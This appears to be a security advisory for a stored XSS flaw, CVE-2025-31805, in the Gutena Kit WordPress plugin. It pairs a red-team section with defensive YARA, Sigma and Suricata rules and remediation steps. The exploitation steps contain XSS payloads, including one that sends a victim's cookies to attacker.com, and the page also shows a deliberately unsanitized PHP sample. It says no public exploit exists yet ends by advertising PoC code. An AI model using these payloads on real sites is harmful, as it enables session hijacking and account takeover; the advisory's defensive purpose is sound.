CVE-2025-31805
Executive Summary
CVE-2025-31805 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Gutena Kit – Gutenberg Blocks and Templates (slug: gutena-kit), developed by Saad Iqbal. The vulnerability exists in versions up to and including 2.0.7. An authenticated attacker with contributor-level privileges or higher can inject malicious JavaScript into web pages via improperly neutralized input. When an administrator or other user views the compromised page, the script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who installed the plugin via the WordPress admin dashboard or via Composer/WPackagist are at risk. The plugin is not an NPM, PyPI, Go, or Ruby package, but it is part of the WordPress ecosystem, which is a common target for supply chain attacks. Administrators should verify the integrity of their plugin files and monitor for updates from the vendor.
CVSS Breakdown & Threat Level
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
- Base Score: 6.5 (Medium)
- Attack Vector: Network (AV:N)
- Attack Complexity: Low (AC:L)
- Privileges Required: Low (PR:L) – requires contributor-level access
- User Interaction: Required (UI:R) – victim must view the compromised page
- Scope: Changed (S:C) – vulnerable component impacts resources beyond its security scope
- Confidentiality Impact: Low (C:L)
- Integrity Impact: Low (I:L)
- Availability Impact: Low (A:L)
Threat Level: Medium. The vulnerability requires authentication and user interaction, but the impact is significant due to the stored nature of the XSS, which can affect multiple users and persist across sessions.
Deep Dive & Mechanics
The vulnerability resides in the gutena-kit plugin, which provides custom Gutenberg blocks and templates for WordPress. The plugin fails to properly sanitize user-supplied input before storing it in the database and later rendering it in the WordPress admin or frontend. Specifically, input fields within custom blocks (e.g., block attributes, template names, or custom CSS/JS fields) are not neutralized, allowing an attacker to inject arbitrary HTML and JavaScript.
Attack Flow:
- An attacker with contributor-level access creates or edits a post/page using a vulnerable Gutena Kit block.
- The attacker injects a malicious payload into a block attribute (e.g., a text field, URL, or custom CSS field).
- The plugin stores the payload in the WordPress database without proper sanitization.
- When an administrator or other user views the post/page (or the block preview in the editor), the payload executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The plugin uses echo or wp_kses_post incorrectly, or fails to use esc_html, esc_attr, or wp_kses with appropriate allowed HTML tags. The input is not validated against a whitelist of safe values.
Vulnerable vs. Patched Code
Since no patch is available, the following is a hypothetical comparison based on common XSS fixes.
Vulnerable Code (hypothetical):
// In a block render callback
function gutena_kit_render_block($attributes) {
$title = $attributes['title'];
echo "<h2>" . $title . "</h2>"; // No sanitization
}
Patched Code (hypothetical):
function gutena_kit_render_block($attributes) {
$title = esc_html($attributes['title']); // Sanitize output
echo "<h2>" . $title . "</h2>";
}
Key Differences:
- The vulnerable code directly outputs user input without escaping.
- The patched code uses
esc_html()to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- WordPress instance with Gutena Kit <= 2.0.7 installed and activated.
- Contributor-level account or higher.
Exploitation Steps:
- Log in as a contributor.
- Create a new post or page.
- Add a Gutena Kit block (e.g., "Heading" or "Custom HTML").
- In the block's text field, inject the following payload:
Or for cookie theft:<img src=x onerror=alert('XSS')><script>document.location='https://attacker.com/steal.php?c='+document.cookie</script> - Save/publish the post.
- Wait for an administrator to view the post or preview the block in the editor.
Note: No public exploit code is available. The above is a generic XSS payload.
Blue Team
Detection Steps:
- Monitor WordPress admin logs for unusual block edits by low-privilege users.
- Scan the database for suspicious HTML/JavaScript in
wp_postmetaandwp_poststables:SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script%' OR meta_value LIKE '%onerror%'; - Use a web application firewall (WAF) to block common XSS patterns in POST requests to
/wp-admin/admin-ajax.phpor/wp-json/.
Lab Setup:
- Install WordPress 6.x on a local server (e.g., XAMPP, Docker).
- Install Gutena Kit plugin version 2.0.7.
- Create a contributor user and an admin user.
- Use a browser with developer tools to inspect network requests and DOM.
Indicators of Compromise (IOCs)
- File Hashes (SHA256): (None available – plugin files may be modified)
- Suspicious Database Entries:
wp_postmetarows containing<script>,onerror,onload, orjavascript:inmeta_value.wp_postsrows withpost_contentcontaining similar patterns.
- Network Traffic:
- Outbound requests to attacker-controlled domains from the WordPress admin.
- Unusual
POSTrequests to/wp-admin/admin-ajax.phpwithaction=gutena_kit_save_blockor similar.
- Logs:
- WordPress debug log entries showing unexpected output in block rendering.
- Web server access logs with
%3Cscript%3Eor%3Cimg%20src%3Dx%20onerror%3Din the request URI.
Detection Engineering
YARA Rule
rule CVE_2025_31805_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Gutena Kit plugin database entries"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-31805"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:\s*/is
condition:
any of them
}
Sigma Rule
title: CVE-2025-31805 - Stored XSS in Gutena Kit Plugin
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects potential stored XSS attempts in WordPress Gutena Kit plugin
author: Valters IT
date: 2025/04/17
logsource:
category: webserver
product: apache
service: access_combined
detection:
selection:
cs-method: 'POST'
cs-uri-stem:
- '/wp-admin/admin-ajax.php'
- '/wp-json/gutena-kit/v1/*'
cs-uri-query:
- '*<script*'
- '*onerror*'
- '*onload*'
- '*javascript:*'
condition: selection
falsepositives:
- Legitimate use of JavaScript in block content (rare)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-31805 - Stored XSS Payload in Gutena Kit"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=gutena_kit_save_block"; http_client_body; pcre:"/(<script|<img[^>]+onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the plugin until a patch is released.
- Restrict contributor-level access to only trusted users.
- Implement a Web Application Firewall (WAF) with rules to block XSS payloads.
- Audit existing content for injected scripts using the YARA rule above.
Long-Term Fix:
- The vendor (Saad Iqbal) must release a patched version (>= 2.0.8) that properly sanitizes all user inputs using
esc_html(),esc_attr(), orwp_kses()with a strict whitelist. - Users should update to the latest version once available.
Workaround:
- Add the following code to the theme's
functions.phpto sanitize block attributes (may break functionality):add_filter('gutena_kit_block_attributes', function($attributes) { foreach ($attributes as $key => $value) { if (is_string($value)) { $attributes[$key] = esc_html($value); } } return $attributes; });
Valters IT
Securing Digital Ecosystems
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.